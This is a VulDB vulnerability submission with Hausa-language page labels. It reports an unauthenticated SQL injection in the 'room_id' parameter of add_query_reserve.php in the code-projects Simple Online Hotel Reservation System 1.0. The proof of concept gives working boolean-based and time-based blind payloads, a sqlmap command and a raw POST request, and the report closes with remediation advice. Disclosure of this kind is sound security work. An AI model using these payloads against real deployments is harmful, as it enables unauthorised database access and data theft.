Súbít #684616: code-projects Simple Online Hotel Reservation System 1.0 SQL Injectionbayani

Kuracode-projects Simple Online Hotel Reservation System 1.0 SQL Injection
Gaskiya# Simple Online Hotel Reservation System V1.0 add_query_reserve.php 'room_id' parameter SQL injection # NAME OF AFFECTED PRODUCT(S) - Simple Online Hotel Reservation System ## Vendor Homepage - [Simple Online Hotel Reservation System In PHP With Source Code - Source Code & Projects](https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - hanshi ## VERSION(S) - V1.0 ## Software Link - [Simple Online Hotel Reservation System In PHP With Source Code - Source Code & Projects](https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/) # PROBLEM TYPE ## Vulnerability Type https://vuldb.com/?id.add - SQL injection ## Root Cause - A SQL injection vulnerability was found in the 'add_query_reserve.php' file of the 'Simple Online Hotel Reservation System' project. The reason for this issue is that attackers inject malicious code from the parameter "room_id" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Simple Online Hotel Reservation System", discovered a critical SQL injection vulnerability in the "add_query_reserve.php" file. This vulnerability stems from insufficient user input validation of the 'room_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: - time-based blind - boolean-based blind ## Vulnerability location: - 'room_id' parameter ## Payload: ``` Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: firstname=test&middlename=test&lastname=test&address=test&contactno=123&date=2023-01-01&room_id=1' AND 2908=(SELECT (CASE WHEN (2908=2908) THEN 2908 ELSE (SELECT 2608 UNION SELECT 8621) END))-- -&add_guest=1 Vector: AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))[GENERIC_SQL_COMMENT] Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: firstname=test&middlename=test&lastname=test&address=test&contactno=123&date=2023-01-01&room_id=1' AND (SELECT 1327 FROM (SELECT(SLEEP(5)))RxMs)-- KFbZ&add_guest=1 Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ``` ![image-20251022134537326](assets/image-20251022134537326.png) ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` python sqlmap.py -r data.txt --dbs -v 3 --batch --level 5 //data.txt POST http://x.x.x.x:8822/add_query_reserve.php HTTP/1.1 Host: x.x.x.x:8822 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=okjv80qgssrm1kl76l9ft762f6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 firstname=test&middlename=test&lastname=test&address=test&contactno=123&date=2023-01-01&room_id=1*&add_guest=1 ``` # Attack results ![image-20251022134601761](assets/image-20251022134601761.png) # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Manga⚠️ https://github.com/hanshi-798/CVE/tree/main/tmp72
Màdùmga
 hanshi (UID 92130)
Furta10/29/2025 06:54 (4 Wurɗi 전)
Gargajiya11/14/2025 09:17 (16 days later)
HalittaShingilam
VulDB gite332457 [code-projects Simple Online Hotel Reservation System 1.0 /add_query_reserve.php room_id SQL Injection]
Nganji20

Might our Artificial Intelligence support you?

Check our Alexa App!